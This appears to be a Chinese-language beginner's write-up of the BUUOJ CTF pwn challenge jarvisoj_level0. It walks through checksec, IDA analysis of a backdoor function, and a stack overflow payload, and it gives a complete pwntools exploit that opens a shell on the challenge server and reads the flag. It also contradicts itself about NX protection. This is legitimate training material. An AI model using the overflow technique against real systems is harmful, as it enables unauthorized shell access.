CTF buuoj pwn-----第6題:jarvisoj_level0
- 前言
- 一、checksec 檢測檔案的保護機制
- 二. 靜態分析,IDA打開檔案
- 三. 撰寫EXP
- 四. 運行EXP, 獲取flag
前言
記錄一下pwn的程序, 新手學習日記, 流水線記錄.
打開題目, 連接靶機,下載檔案level0

一、checksec 檢測檔案的保護機制
bing@bing-virtual-machine:~/pwn$ checksec ./level0
[*] '/home/bing/pwn/level0'
Arch: amd64-64-little
RELRO: No RELRO
Stack: No canary found
NX: NX enabled
PIE: No PIE (0x400000)
bing@bing-virtual-machine:~/pwn$
可以看出它是一個64位程式,僅開啟了堆疊不可執行保護, 沒有打開NX防護(堆疊可執行),No PIE. 猜測為 溢位漏洞
- gdb運行一下:
bing@bing-virtual-machine:~/pwn$ gdb ./level0
(gdb) r
Starting program: /home/bing/pwn/level0
Hello, World
二. 靜態分析,IDA打開檔案
- IDA打開檔案level0
按下shift+f12,打開string window
發現 /bin /sh
- 雙擊 /bin /sh, 點擊command, 點擊X, 發現 /bin /sh的address在可疑函式callsystem()

- 打開后門函式callsystem(),并記下函式地址0x400596

- 按下f5,發現callsystem()函式里面含有system("/bin/sh");,

- 打開main函式只有兩條陳述句;

- 打開vulnerable_function()

- buf[128] buf變數分配的空間只有0x80, 而read函式的第三個引數是0x200,可以輸入0x200, 顯然存在溢位;
雙擊buf:

- return address 之前需要覆寫0x88+0x8個字符. 并把return address覆寫為后門函式callsystem()的地址0x400596
構造payload:
payload =b'a'*(0x80+0x8) + p64(0x400596)
- 0x80個a賦值給buf[128],8個a覆寫堆疊底s (saved registers),即rbp的值(注意如果是32位系統就是esp,只有4個位元組),把后門函式callsystem()的地址0x400596覆寫到vulnerable_function函式的回傳地址 r (return addres) , 就可執行system("/bin/sh") ,獲取shell.
三. 撰寫EXP
from pwn import *
sh = remote('node4.buuoj.cn', 26077)
payload = b'a'*(0x80+0x8)+p64(0x400596)
sh.sendline(payload)
sh.interactive()
四. 運行EXP, 獲取flag
bing@bing-virtual-machine:~/pwn$ python3 ./level0.py
[+] Opening connection to node4.buuoj.cn on port 26077: Done
[*] Switching to interactive mode
Hello, World
$ ls
bin
boot
dev
etc
flag
flag.txt
home
lib
lib32
lib64
media
mnt
opt
proc
pwn
root
run
sbin
srv
sys
tmp
usr
var
$ cat flag
flag{1a6ba01d-1c5e-402c-8e88-080a0a2aed95}
flag{1a6ba01d-1c5e-402c-8e88-080a0a2aed95}
轉載請註明出處,本文鏈接:https://www.uj5u.com/qita/297082.html
標籤:其他
下一篇:SpringSecurity框架

